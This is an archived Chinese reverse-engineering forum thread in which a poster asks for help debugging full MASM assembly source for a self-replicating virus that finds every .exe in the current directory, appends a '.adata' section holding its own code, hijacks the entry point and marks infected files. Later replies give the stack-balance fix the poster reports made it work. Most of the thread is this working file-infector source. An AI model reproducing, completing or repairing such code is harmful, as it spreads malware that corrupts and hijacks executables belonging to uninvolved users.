首页
社区
课程
招聘
[求助]一段感染exe文件的代码
发表于: 2009-1-18 19:16 5124

[求助]一段感染exe文件的代码

2009-1-18 19:16
5124
照着罗云彬书中给exe文件添加代码的例子,自己写了一段程序,打算实现让程序自动搜索当前目录下所有exe文件,在之后追加一个节,把代码复制过去。

程序写完了,用ollydbg调试了一下被感染的程序,单步走的时候能成功运行,但如果直接运行,程序就不能正常执行。求人帮忙看一下程序。谢谢!

附件里是源代码以及用来感染的试验文件。

    .586p
    .model  flat, stdcall
    option  casemap: none
;-------------------------------------------------
include    windows.inc
;---------------------------------------------------------------------------;
;API declarations.                                                          ;
;---------------------------------------------------------------------------;
;kernel32.dll
_ProtoCreateFileA    typedef  proto  :dword, :dword, :dword, :dword, :dword, :dword, :dword
_ProtoCreateFileMappingA  typedef  proto  :dword, :dword, :dword, :dword, :dword, :dword
_ProtoCloseHandle    typedef proto  :dword
_ProtoFindFirstFileA    typedef proto  :dword, :dword
_ProtoFindNextFileA    typedef  proto  :dword, :dword
_ProtoFindClose      typedef  proto  :dword
_ProtoGetFileAttributesA  typedef  proto  :dword
_ProtoLoadLibraryA    typedef  proto  :dword
_ProtoMapViewOfFile    typedef proto  :dword, :dword, :dword, :dword, :dword
_ProtoSetFileAttributesA  typedef proto  :dword, :dword
_ProtoUnmapViewOfFile    typedef proto  :dword
;--------------------------------------------------------------;
_ApiCreateFileA      typedef  ptr  _ProtoCreateFileA
_ApiCreateFileMappingA    typedef  ptr  _ProtoCreateFileMappingA
_ApiCloseHandle      typedef ptr  _ProtoCloseHandle
_ApiFindFirstFileA    typedef ptr  _ProtoFindFirstFileA
_ApiFindNextFileA    typedef  ptr  _ProtoFindNextFileA
_ApiFindClose      typedef  ptr  _ProtoFindClose
_ApiGetFileAttributesA    typedef  ptr  _ProtoGetFileAttributesA
_ApiGetFileSize      typedef  ptr  _ProtoGetFileSize
_ApiLoadLibraryA    typedef  ptr  _ProtoLoadLibraryA
_ApiMapViewOfFile    typedef ptr  _ProtoMapViewOfFile
_ApiSetFileAttributesA    typedef ptr  _ProtoSetFileAttributesA
_ApiUnmapViewOfFile    typedef ptr  _ProtoUnmapViewOfFile
;-------------------EQU---------------------------
CODE_SIZE  equ  offset CODE_START - offset CODE_END
;-------------------Code--------------------------
    .code
CODE_START  equ  this byte
;------------------Data---------------------------'
;kernel32.dll
szCreateFileA    db  'CreateFileA', 0
szCreateFileMappingA  db  'CreateFileMappingA', 0
szCloseHandle    db  'CloseHandle', 0
szFindFirstFileA  db  'FindFirstFileA', 0
szFindNextFileA    db  'FindNextFileA', 0
szFindClose    db  'FindClose', 0
szGetFileAttributesA  db  'GetFileAttributesA', 0
szLoadLibraryA    db  'LoadLibraryA', 0
szMapViewOfFile    db  'MapViewOfFile', 0
szSetFileAttributesA  db  'SetFileAttributesA', 0
szUnmapViewOfFile  db  'UnmapViewOfFile', 0
      db  0

      align  dword
_CreateFileA    _ApiCreateFileA      ?
_CreateFileMappingA  _ApiCreateFileMappingA    ?
_CloseHandle    _ApiCloseHandle      ?
_FindFirstFileA    _ApiFindFirstFileA    ?
_FindNextFileA    _ApiFindNextFileA    ?
_FindClose    _ApiFindClose      ?
_GetFileAttributesA  _ApiGetFileAttributesA    ?
_LoadLibraryA    _ApiLoadLibraryA    ?
_MapViewOfFile    _ApiMapViewOfFile    ?
_SetFileAttributesA  _ApiSetFileAttributesA    ?
_UnmapViewOfFile  _ApiUnmapViewOfFile    ?

hDllKernel32  dd  ?
hDllUser32  dd  ?

fileName  db  MAX_PATH dup (?), 0

szWindowsDir  db  MAX_PATH dup (?), 0
szSystemDir  db  MAX_PATH dup (?), 0
szStartupDir  db  MAX_PATH dup (?), 0

szCurrentDir  db  MAX_PATH dup (?), 0
szTemp    db  MAX_PATH dup (?), 0

NEW_SECTION_NAME  db  '.adata', 0

EXE_MASK  db  '*.exe', 0
FILE_ATTRI  dd  ?
hFile    dd  ?
hFindFile  dd  ?
hMap    dd  ?
mapAddress  dd  ?
orgFileAttri  dd  ?
findData  WIN32_FIND_DATA  <?>
;-------------------------SEHHandler----------------------------
_SEHHandler  proc  C _lpExceptionRecord, _lpSEH, _lpContext, _lpDispatcherContext
  pushad
  mov  esi, _lpExceptionRecord
  mov  edi, _lpContext
  assume  esi: ptr EXCEPTION_RECORD, edi: ptr CONTEXT
  mov  eax, _lpSEH
  push  [eax + 0Ch]
  pop  [edi].regEbp
  push  [eax + 8]
  pop  [edi].regEip
  push  eax
  pop  [edi].regEsp
  assume  esi: nothing, edi: nothing
  popad
  mov  eax, ExceptionContinueExecution
  ret
_SEHHandler  endp
;--------------------CheckPE----------------------------
_CheckPE  proc  _lpFile
  local  @dwReturn
  
  mov  @dwReturn, 0
  pushad
  
  assume  fs: nothing
  push  ebp
  lea  eax, [ebx + offset _CheckPERet]
  push  eax
  lea  eax, [ebx + offset _SEHHandler]
  push  eax
  push  fs:[0]
  mov  fs:[0], esp
;--------------Check PE------------------------------
  mov  esi, _lpFile
  assume  esi: ptr IMAGE_DOS_HEADER
  .if  [esi].e_magic != IMAGE_DOS_SIGNATURE
    jmp  _CheckPERet
  .endif
  add  esi, [esi].e_lfanew
  assume  esi: ptr IMAGE_NT_HEADERS
  .if  [esi].Signature != IMAGE_NT_SIGNATURE
    jmp  _CheckPERet
  .endif
  inc  @dwReturn
  assume  esi: nothing
_CheckPERet:
  pop  fs:[0]
  add  esp, 0Ch
  popad
  mov  eax, @dwReturn
  ret
_CheckPE  endp
;-------------------------------------------------------
_GetKernelBase  proc  _dwKernelRet
  local  @dwReturn
  
  pushad
  mov  @dwReturn, 0
  
  call  @F
@@:  pop  ebx
  sub  ebx, offset @B
  
  assume  fs: nothing
  push  ebp
  lea  eax, [ebx + offset _PageError]
  push  eax
  lea  eax, [ebx + offset _SEHHandler]
  push  eax
  push  fs:[0]
  mov  fs:[0], esp
  ;-----------------------------------------
  mov  edi, _dwKernelRet
  and  edi, 0FFFF0000h
  .while  TRUE
    .if  word ptr [edi] == IMAGE_DOS_SIGNATURE
      mov  esi, edi
      add  esi, [esi + 003Ch]
      .if  word ptr [esi] == IMAGE_NT_SIGNATURE
        mov  @dwReturn, edi
        .break
      .endif
    .endif
  _PageError:
    sub  edi, 010000h
    .break  .if  edi < 070000000h
  .endw
  pop  fs:[0]
  add  esp, 0Ch
  popad
  mov  eax, @dwReturn
  ret
  
_GetKernelBase  endp
;-------------------------------------------------
_GetApi    proc  _hModule, _lpszApi
  local  @dwReturn, @dwStringLength
  
  pushad
  mov  @dwReturn, 0
  
  assume  fs: nothing
  push  ebp
  lea  eax, [ebx + offset _Error]
  push  eax
  lea  eax, [ebx + offset _SEHHandler]
  push  eax
  push  fs:[0]
  mov  fs:[0], esp
  ;-----------------------------------------
  mov  edi, _lpszApi
  mov  ecx, -1
  xor  al, al
  cld
  repnz  scasb
  mov  ecx, edi
  sub  ecx, _lpszApi
  mov  @dwStringLength, ecx
  ;------------------------------------------;
  ;       esi -> IMAGE_EXPORT_DIRECTORY      ;
  ;------------------------------------------;
  mov  esi, _hModule
  add  esi, [esi + 3Ch]
  assume  esi: ptr IMAGE_NT_HEADERS
  mov  esi, [esi].OptionalHeader.DataDirectory.VirtualAddress
  add  esi, _hModule
  assume  esi: ptr IMAGE_EXPORT_DIRECTORY
  ;-----------------------------------------
  mov  ebx, [esi].AddressOfNames
  add  ebx, _hModule
  xor  edx, edx
  .repeat
    push  esi
    mov  edi, [ebx]
    add  edi, _hModule
    mov  esi, _lpszApi
    mov  ecx, @dwStringLength
    repz  cmpsb
    .if  ZERO?
      pop  esi
      jmp  @F
    .endif
    pop  esi
    add  ebx, 4
    inc  edx
  .until  edx >= [esi].NumberOfNames
  jmp  _Error
  ;-----------------------------------------
@@:
  sub  ebx, [esi].AddressOfNames
  sub  ebx, _hModule
  shr  ebx, 1
  add  ebx, [esi].AddressOfNameOrdinals
  add  ebx, _hModule
  movzx  eax, word ptr [ebx]
  shl  eax, 2
  add  eax, [esi].AddressOfFunctions
  add  eax, _hModule
  ;-----------------------------------------
  mov  eax, [eax]
  add  eax, _hModule
  mov  @dwReturn, eax
_Error:
  pop  fs:[0]
  add  esp, 0Ch
  assume  esi: nothing
  popad
  mov  eax, @dwReturn
  ret
  
_GetApi    endp  
;-------------------------------------------------
CODE_SIZE  equ  CODE_END - CODE_START
;-------------------------------------------------
_NewEntry:
  pushad
  pushfd
  call  _Delta
_Delta:  pop  ebx
  sub  ebx, offset _Delta
  
  invoke  _GetKernelBase, [esp + 24h]  ;Get return address
  or  eax, eax
  jz  _Ret        ;Oops!
  mov  [ebx + hDllKernel32], eax

  lea  esi, [ebx + _CreateFileA]
  lea  edi, [ebx + szCreateFileA]
_FindNextAPI:
  invoke  _GetApi, [ebx + hDllKernel32], edi
  mov  [esi], eax      ;Store API VA
  
  xor  al, al        ;Get to next API name
@@:  scasb
  jnz  @B
  
  add  esi, 4
  mov  al, [edi]
  or  al, al
  jnz  _FindNextAPI
  
  ;lea  eax, [ebx + szCurrentDir]
  ;invoke  [ebx + _GetCurrentDirectoryA], MAX_PATH, eax
  

  assume  fs: nothing
  push  ebp
  push  [ebx + _UnmapFile]      ;Exception return address.
  push  [ebx + _SEHHandler]
  xor  eax, eax
  push  fs:[eax]
  mov  fs:[eax], esp
  
_FindFirstFile:
  lea  eax, [ebx + EXE_MASK]
  lea  esi, [ebx + findData]
  invoke  [ebx + _FindFirstFileA], eax, esi
  mov  [ebx + hFindFile], eax
;--------------------------------------------------------------------------;
; Open, map, check the file.                                               ;
; esi --> WIN32_FIND_DATA                                                  ;
;--------------------------------------------------------------------------;
;input:
;  esi: LPWIN32_FIND_DATA
_CheckFile:
  assume  esi: ptr WIN32_FIND_DATA
  
  or  [esi].nFileSizeHigh, 0
  jnz  _FindNextFile
  test  [esi].dwFileAttributes, FILE_ATTRIBUTE_READONLY
  jz  @F
  and  [esi].dwFileAttributes, not FILE_ATTRIBUTE_READONLY
  invoke  [ebx + _SetFileAttributesA], addr [esi].cFileName, [esi].dwFileAttributes
  or  [esi].dwFileAttributes, FILE_ATTRIBUTE_READONLY    ;For restore later.
@@:
  lea  ecx, [esi].cFileName
  call  _OpenFile  
  inc  eax
  jz  _RestoreAttributes
  dec  eax
  mov  [ebx + hFile], eax
  
  mov  ecx, [esi].nFileSizeLow
  call  _CreateMap  
  or  eax, eax
  jz  _CloseMap
  mov  [ebx + hMap], eax
  
  mov  ecx, [ebx + findData].nFileSizeLow
  xor  ecx, ecx
  call  _MapFile
  or  eax, eax
  jz  _UnmapFile
  mov  [ebx + mapAddress], eax
  
;-----------------------------------------------------------------------------;
;Here checks the PE file and does some PE DIY, injects the code in, and...    ;
;-----------------------------------------------------------------------------;
  
  mov  edi, eax
  assume  edi: ptr IMAGE_DOS_HEADER
  
  add  edi, [edi].e_lfanew
  assume  edi: ptr IMAGE_NT_HEADERS
  cmp  [edi].Signature, IMAGE_NT_SIGNATURE
  jnz  _UnmapFile
  cmp  [edi].OptionalHeader.LoaderFlags, 01010101h
  je  _UnmapFile
  
  push  [edi].OptionalHeader.FileAlignment
  
  
;----------------------------------------------------------------------------;
; Process PE file here.                                                      ;
;----------------------------------------------------------------------------;
; Close all here.                                                            ;
;----------------------------------------------------------------------------;
  mov  eax, [ebx + mapAddress]
  push  eax
  call  [ebx + _UnmapViewOfFile]
  mov  eax, [ebx + hMap]
  push  eax
  call  [ebx + _CloseHandle]
  mov  eax, [ebx + hFile]
  push  eax
  call  [ebx + _CloseHandle]

; Reopen all.
  lea  ecx, [esi].cFileName
  call  _OpenFile
  inc  eax
  or  eax, eax  
  jz  _CloseFile
  dec  eax
  mov  [ebx + hFile], eax
  
  mov  ecx, [ebx + findData].nFileSizeLow
  add  ecx, CODE_SIZE
  xchg  ecx, eax
  pop  ecx
  call  _Align
  xchg  ecx, eax
  push  ecx
  call  _CreateMap
  or  eax, eax
  jz  _CloseMap
  mov  [ebx + hMap], eax
  
  pop  ecx
  call  _MapFile
  or  eax, eax
  jz  _UnmapFile
  mov  [ebx + mapAddress], eax
  mov  edx, eax
  assume  edx: ptr IMAGE_DOS_HEADER
  add  edx, [edx].e_lfanew
  assume  edx: ptr IMAGE_NT_HEADERS
  
; Add infected flag
  mov  [edx].OptionalHeader.LoaderFlags, 01010101h
    
  assume  edi: nothing
  assume  esi: nothing

_AddNewSection:
;-----------------------------------------------------------------------------;
;       edx --> IMAGE_NT_HEADER                                               ;
;       edi --> New Section                                                   ;
;       esi --> Origin last section                                           ;
;-----------------------------------------------------------------------------;
  mov  edi, edx
  add  edi, sizeof IMAGE_NT_HEADERS
  movzx  eax, [edx].FileHeader.NumberOfSections
  imul  eax, eax, sizeof IMAGE_SECTION_HEADER
  add  edi, eax
  
; Check if enough space to add new section.
  push  edi
  xor  eax, eax
  mov  ecx, sizeof IMAGE_SECTION_HEADER
  repz  scasb
  pop  edi
  jnz  _UnmapFile
  
  mov  esi, edi
  sub  esi, sizeof IMAGE_SECTION_HEADER
  assume  edi: ptr IMAGE_SECTION_HEADER
  assume  esi: ptr IMAGE_SECTION_HEADER
  
; Revise IMAGE_NT_HEADER
  inc  [edx].FileHeader.NumberOfSections
  
  push  esi
_FindPointerToRawData:
  mov  eax, [esi].PointerToRawData
  or  eax, eax
  jnz  @F
  sub  esi, sizeof IMAGE_SECTION_HEADER
  jmp  _FindPointerToRawData
@@:
  add  eax, [esi].SizeOfRawData
  mov  [edi].PointerToRawData, eax
  pop  esi
  
  mov  eax, CODE_SIZE
  mov  ecx, [edx].OptionalHeader.FileAlignment
  call  _Align
  mov  [edi].SizeOfRawData, eax
  
  mov  ecx, [edx].OptionalHeader.SectionAlignment
  call  _Align
  add  [edx].OptionalHeader.SizeOfCode, eax
  add  [edx].OptionalHeader.SizeOfImage, eax
  
  mov  [edi].Characteristics, IMAGE_SCN_CNT_CODE or \
    IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
  
; New section name.
  push  esi
  push  edi
  mov  ecx, 8
  lea  esi, NEW_SECTION_NAME
  lea  edi, [edi].Name1
  rep  movsb
  pop  edi
  pop  esi
  
; Revise the entry.
  mov  eax, [esi].Misc.VirtualSize
  mov  ecx, [edx].OptionalHeader.SectionAlignment
  call  _Align
  add  eax, [esi].VirtualAddress
  mov  [edi].VirtualAddress, eax
  mov  [edi].Misc.VirtualSize, CODE_SIZE
  mov  ecx, eax
  
  add  eax, (offset _NewEntry - offset CODE_START)
  push  [edx].OptionalHeader.AddressOfEntryPoint
  mov  [edx].OptionalHeader.AddressOfEntryPoint, eax
  pop  eax
  
  sub  eax, ecx
  sub  eax, offset _ToOldEntry
  add  eax, offset CODE_START
  sub  eax, 5
  mov  _OldEntry, eax
    
  ;mov  ecx, [edi].SizeOfRawData
  mov  edi, [edi].PointerToRawData
  assume  edi: nothing
  assume  esi: nothing
;-----------------------------------------------------------------------------;
; Inject code.                                                                ;
;-----------------------------------------------------------------------------;
  ;STUB: Something not quite clear on calculating address in edi.
  mov  ecx, CODE_SIZE
  add  edi, [ebx + mapAddress]
  lea  esi, CODE_START
  rep  movsb
  
  assume  edx: nothing
  
  ;invoke  _MessageBoxA, NULL, addr [ebx + findData].cFileName, offset szUser32, MB_OK
  
  xor  eax, eax
  pop  fs:[eax]
  add  esp, 0Ch

;-----------------------------------------------------------------------------;  
_UnmapFile:
  push  [ebx + mapAddress]
  call  [ebx + _UnmapViewOfFile]
_CloseMap:
  push  [ebx + hMap]
  call  [ebx + _CloseHandle]
_CloseFile:
  push  [ebx + hFile]
  call  [ebx + _CloseHandle]
_RestoreAttributes:
  lea  eax, [ebx + findData].cFileName
  push  eax
  lea  eax, [ebx + findData].dwFileAttributes
  push  eax
  call  [ebx + _SetFileAttributesA]
_FindNextFile:
  mov  eax, [ebx + hFindFile]
  invoke  [ebx + _FindNextFileA], eax, esi
  or  eax, eax
  jnz  _CheckFile
  mov  eax, [ebx + hFindFile]
  invoke  [ebx + _FindClose], eax


  
_Ret:  popfd
  popad
_ToOldEntry:
  db  0E9H
_OldEntry  dd  ?
;--------------------------------------------------------
;input:
;  ecx - Address of file path
;output:
;  eax - File handle if successful
_OpenFile  proc
  invoke  [ebx + _CreateFileA], ecx, FILE_READ_DATA or FILE_WRITE_DATA,\
    FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL
  ret
_OpenFile  endp
;--------------------------------------------------------
;input:
;  ecx - Size to map.
;output:
;  eax - MapHandle if successful.
_CreateMap  proc
  xor  eax, eax
  push  eax        ;Mapping Object name
  push  ecx        ;dwMaximumSizeLow
  push  eax        ;dwMaximumSizeHigh
  push  PAGE_READWRITE
  push  eax        ;lpAttributes
  push  dword ptr [ebx + hFile]
  call  [ebx + _CreateFileMappingA]
  ret
_CreateMap  endp
;--------------------------------------------------------

  ;invoke  [ebx + _CreateFileA], ecx, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL,\
  ;  OPEN_EXISTING, 0, NULL
  ;invoke  [ebx + _CreateFileMappingA], eax, NULL, PAGE_READONLY, 0, 0, NULL
  ;invoke  [ebx + _MapViewOfFile], [ebx + hMap], FILE_MAP_READ, 0, 0, 0
;input:
;  ecx - Size of file to map.
;output:
;  eax - MapAddress if successful.
_MapFile  proc
  push  ecx
  push  0
  push  0
  push  FILE_MAP_READ or FILE_MAP_WRITE
  push  dword ptr [ebx + hMap]
  call  [ebx + _MapViewOfFile]
  ret
_MapFile  endp
;--------------------------------------------------------
;input:
;  eax - Value to Align.
;  ecx - Alignment factor. 
;output:
;  eax - Aligned value.
_Align    proc
  push  edx
  push  eax
  xor  edx, edx
  div  ecx
  pop  eax
  .if  edx
    sub  ecx, edx
    add  eax, ecx
  .endif
  pop  edx
  ret
_Align    endp
;-------------------------------------------------
CODE_END  equ  this byte
;-------------------------------------------------
  end  _NewEntry

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 197
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
刚才发现堆栈没有平衡,汗一个~又是一个弱智错误……

检查代码去……
2009-1-18 23:06
0
雪    币: 197
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
之前的代码中SEHHandler安装和卸载的过程在循环体中的位置不对称,安装在循环外,卸载在循环内,于是造成堆栈不平衡。把卸载过程移到感染文件的循环外之后就OK了。

PS一下:汇编时检查堆栈平衡和C/C++时检查指针有效性一样重要。
2009-1-18 23:26
0
雪    币: 171
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
一个注释都没有
汗........
2009-1-20 04:55
0
雪    币: 200
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
楼主第二贴就解决问题了
2009-1-21 15:22
0
游客
登录 | 注册 方可回帖
返回
//